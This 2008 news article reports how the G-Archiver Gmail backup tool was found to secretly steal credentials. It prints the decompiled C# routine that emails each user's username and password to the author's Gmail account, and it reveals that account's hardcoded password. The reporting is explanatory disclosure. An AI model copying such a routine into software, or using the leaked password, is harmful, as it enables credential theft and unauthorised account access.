The Linux distillery
Bringing the world of Linux to you, David cuts through the tech and shows you how it works and how to use it, in terms that apply to any distro. RSS
IT NEWS           RSS Mastering The Complex Sale
Technology news and Jobs arrow The Linux distillery arrow Trojan steals Gmail passwords – and charges for it
Trojan steals Gmail passwords – and charges for it PDF Print E-mail
User Rating: / 11
PoorBest 
by David M Williams   
Wednesday, 12 March 2008
Nobody wants to lose their e-mail. So, for Gmail users, G-Archiver seemed like a great buy. For $US 29.95 this shareware app will make a duplicate of your Gmail account on your hard disk, for as many accounts as you like. What its users didn't count on was that G-Archiver's authors helped themselves to your Gmail username and password too.

The news was broken by excellent software developer and blogger, Jeff Atwood, who was in turn given the details by Dustin Brooks.

Brooks, it transpires, wanted to back up his Gmail account to a local drive. That's an understandable need; with mail storage in the order of gigabytes Gmail is a boon to hoarders and road warriors everywhere. You needn't even constrain yourself to e-mail: utilities exist to let you make use of all that lovely Google-provided disk space as a virtual hard drive. So, Brooks had a bunch of stuff in his Gmail account that he didn't want to lose.

He came across G-Archiver, a tool designed specifically for this very purpose which retails for $US 29.95 and offers a free trial. Brooks duly downloaded the software and gave it a spin. It prompted for his Gmail login details and he handed them over. G-Archiver performed its basic task but didn't quite do what Brooks would have liked.

Not to worry, being a computer programmer himself he used Lutz Roeder's well-known Reflector software to do a bit of reverse engineering. Now, ordinarily trying to figure out someone else's proprietary source code is ethically dodgy, if not illegal. However, what Brooks discovered completely overshadowed any such concerns.

A Gmail user, undoubtedly part of the G-Archiver development team, if not the author himself, called John Terry had hardcoded their Gmail username and password into the source code. And then he noticed every time a user ran G-Archiver and added a new Gmail account the program would e-mail these credentials to John Terry's mailbox! This very code was clearly visible within the file SM.dll installed by the software:

public static void CheckConnection(string a, string b) {
  try {
    MailMessage message = new MailMessage();
    message.To.Add("
This e-mail address is being protected from spam bots, you need JavaScript enabled to view it ");
    message.From = new MailAddress("
This e-mail address is being protected from spam bots, you need JavaScript enabled to view it ", "JTerry", Encoding.UTF8);
    message.Subject = "Account";
    message.SubjectEncoding = Encoding.UTF8;
    message.Body = "Username: " + a;
    message.Body = message.Body + "\r\nPassword: " + b;
    message.BodyEncoding = Encoding.UTF8;
    message.IsBodyHtml = false;
    message.Priority = MailPriority.High;
    SmtpClient client = new SmtpClient();
    client.Credentials = new NetworkCredential("
This e-mail address is being protected from spam bots, you need JavaScript enabled to view it ", "bilal482");
    client.Port = 0x24b;
    client.Host = "smtp.gmail.com";
    client.EnableSsl = true;
    client.Send(message);
  }
  catch (Exception) {  }
}


The key lines to note are the ones which begin with message.Body; here an e-mail message is built up with the literal strings "Username:" and "Password:" followed by the user's username and password as passed in to the function.

The code sends this message through Gmail to the address This e-mail address is being protected from spam bots, you need JavaScript enabled to view it using that very account with password bilal482.

Brooks was concerned; after all, he'd just typed in his own login details! He fired up his web browser, called up Gmail and logged in to John Terry's account with the username and password contained within the bowels of G-Archiver. What he saw stunned him again.

Please read on to find out what happened.

CONTINUED







 
< Next story in category   Previous story in the category >
Subscribe to iTWire's Free daily e-newsletter Delivered daily - FREE
Subscribe to our Technology newsletter, get the latest and stay ahead ...example
* First name:
* Last name:
* Your email address:
* Country:
* Enter the security code shown:

* mandatory
Google
 
You don't need to login to post a comment





Lost Password?
No account yet? Register
Subscribe to our free daily newsletter.
9th Annual Business Intelligence
May 8 (8:00 am) - July 16 (11:59 pm), 2008
The drastic change of vendor landscape in 2007, which resulted by the big-time acquisition of the...

Applications open for postgraduate studies in Technical Communication at Swinburne University
May 13 (8:00 am) - September 09 (11:59 pm), 2008
Swinburne University runs two courses offering university-level qualifications to technical commu...

ISTQB Software Testing Certification Training
May 19 (9:00 am) - May 21 (11:59 pm), 2008
HEDLOC ISTQB Foundation Certification Course (3 Days, Sydney) The ISTQB Foundation Certificate i...

ISTQB Foundation Certification Public Training, Sydney, 19th May 2008
May 19 (9:00 am) - May 21 (11:59 pm), 2008
The ISTQB Foundation Certificate is an internationally recognised professional qualification in s...

ISEB/ISTQB Foundation Certificate in Software Testing - Melbourne
May 19 (9:00 am) - May 21 (11:59 pm), 2008
Disqover - Improving Software Quality offers software and systems testers the opportunity to beco...

CeBIT
May 20 (8:00 am) - May 22 (11:59 pm), 2008
CeBIT Australia is Australasia's leading Information & Communications Technology (ICT) event for ...

Free Webinar:Open Source Data Migration with Talend Open Studio
May 20, 2008 (9:00 am - 10:00 am)
This one-hour Webinar will present: - The specific constraints of data migration, including: hi...

Open Source webinar, what a Department of Homeland Security Scan Reveals about Open Source
May 21, 2008 (10:00 am - 11:59 pm)
A SD Times Webinar Wednesday, May 21, 2008, 1:00p.m. EDT / 10:00 a.m. PDT Launched as a joi...

Open Source Webinar
May 21, 2008 (10:00 am - 11:59 pm)
Open Source Uncovered, what a Department of Homeland Security Scan Reveals about Open Source A S...

HP Quality Center Dashboard Public Training, Perth 22nd May 2008
May 22, 2008 (9:00 am - 11:59 pm)
This hands-on instructor-led course covers the features of the Quality Center 9.2 Dashboard. This...
New event listings
SolidWorks Innovation Day (Brisbane and Perth)
October 15, 2008 (All Day)
Hosted by Intercad, SolidWorks’ Innovation Days will give designers, engineers and manufacturers ...

LIXI Industry Forum 2008
September 10, 2008 (All Day)
Wednesday, 10 September 2008 The Westin Sydney The second annual major industry event for the...

Last Day to apply for Mid Year study at Swinburne University
August 1, 2008 (All Day)
Applications close for Swinburne University’s online postgraduate Technical Communication courses.

Energy Logic Symposium- Melbourne
July 8, 2008 (All Day)
Emerson Network Power, Dell, IBM and Cisco show you how to slash data centre energy use without c...

Energy Logic Symposium - Sydney
July 3, 2008 (All Day)
Emerson Network Power, Dell, IBM and Cisco show you how to slash data centre energy use without c...

Energy Logic Symposium
July 1, 2008 (All Day)
Emerson Network Power, Dell, IBM and Cisco show you how to slash data centre energy use without c...

View Full Calendar
Add New Event
Contact , Register , Advertise with iTWire , Links , About iTWire , Feedback , Post your jobs , Events , iTWire site map , Start Blogging , MyBlogLog page
Industry Releases , Submit your release now